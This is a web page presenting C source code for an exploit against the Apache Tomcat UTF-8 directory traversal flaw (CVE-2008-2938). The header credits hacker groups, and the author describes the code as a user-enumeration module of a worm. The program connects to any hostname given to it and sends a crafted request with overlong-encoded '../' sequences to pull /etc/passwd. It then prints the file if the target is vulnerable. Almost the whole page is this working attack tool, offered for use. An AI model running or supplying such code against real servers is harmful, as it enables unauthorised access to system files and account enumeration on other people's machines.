扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 |
/*Apache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit c0d3r: mywisdom thanks for not being lame to change exploit author tis is one of my linux w0rm module for user enumerations, i've dual os worm thanks to: gunslinger,flyf666,petimati,kiddies,xtr0nic,c0mrade,n0te,v3n0m,iblis muda,cr4wl3r thanks to: isa m said, whitecyber thanks to all devilzc0de crews and members, all jasakom crews and members * EDB-ID: 6229 * CVE: 2008-2938 * OSVDB-ID: 47464 * Author: Simon Ryeo * Published: 2008-08-11 * Verified: Verified greetz to inj3ct0r crews: 31337 Inj3ct0r Members: cr4wl3r, The_Exploited, eidelweiss, SeeMe, XroGuE, agix, gunslinger_, Sn!pEr.S!Te, indoushka, Sid3^effects, L0rd CrusAd3r, Th3 RDX, r45c4l, Napst3r?, etc.. not so good but worth to try if our target directory structure has /usr/local/wwwroot */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <string.h> #include <netinet/in.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #define EXPLOIT "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.0\n\n" #define RCVBUFSIZE 9999 #define tester "root:x" void cls() { char esc = 27; printf("%c%s",esc,"[2J"); printf("%c%s",esc,"[1;1H"); } int main(int argc,char **argv) { if(argc<2) { /**checking argument to avoid memory wasting for useless variables in vma**/ cls(); printf("\nApache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit\n"); printf("\nc0d3r: mywisdom\n"); printf("\nusage:./tomcatevil hotname\n"); exit(1); } else { int port=80; char echobuf[RCVBUFSIZE]; int rval,sockfd, bytesrcv, totalbytes; struct hostent *he; struct sockaddr_in their_addr; if((he=gethostbyname(argv[1])) == NULL) { perror("\nSorry please recheck your target hostname !\n"); exit(1); } else { if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket()"); exit(1); } else { //exploiting and try to get /etc/passwd their_addr.sin_family = AF_INET; printf("\n[-]Checking whether port %d opens or not\n",port); their_addr.sin_port = htons(port); their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(&(their_addr.sin_zero), '\0', 8); if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { perror("failed to connect !!!"); } else { printf("\n[+]Port 80 opens !!! now sending your exploit to our target\n"); if(send(sockfd, EXPLOIT,999,0)==-1) { perror ("send"); } else { totalbytes=0; while (totalbytes < RCVBUFSIZE) { if ((bytesrcv = recv(sockfd, echobuf, RCVBUFSIZE - 1, 0)) <= 0) { } else { totalbytes += bytesrcv; echobuf[bytesrcv] = '\0'; } totalbytes++; } } if(echobuf) { rval=strstr (echobuf, tester); if(rval) { printf(echobuf); printf("\n[+]w00t!!! target vulnerable! exploitation success u may see /etc/passwd above !!!\n"); exit(1); } else { printf(echobuf); printf("\n[-]target not vulnerable !!!\n"); exit(1); } } } close(sockfd); //eof exploiting } } } } |
体验盒子
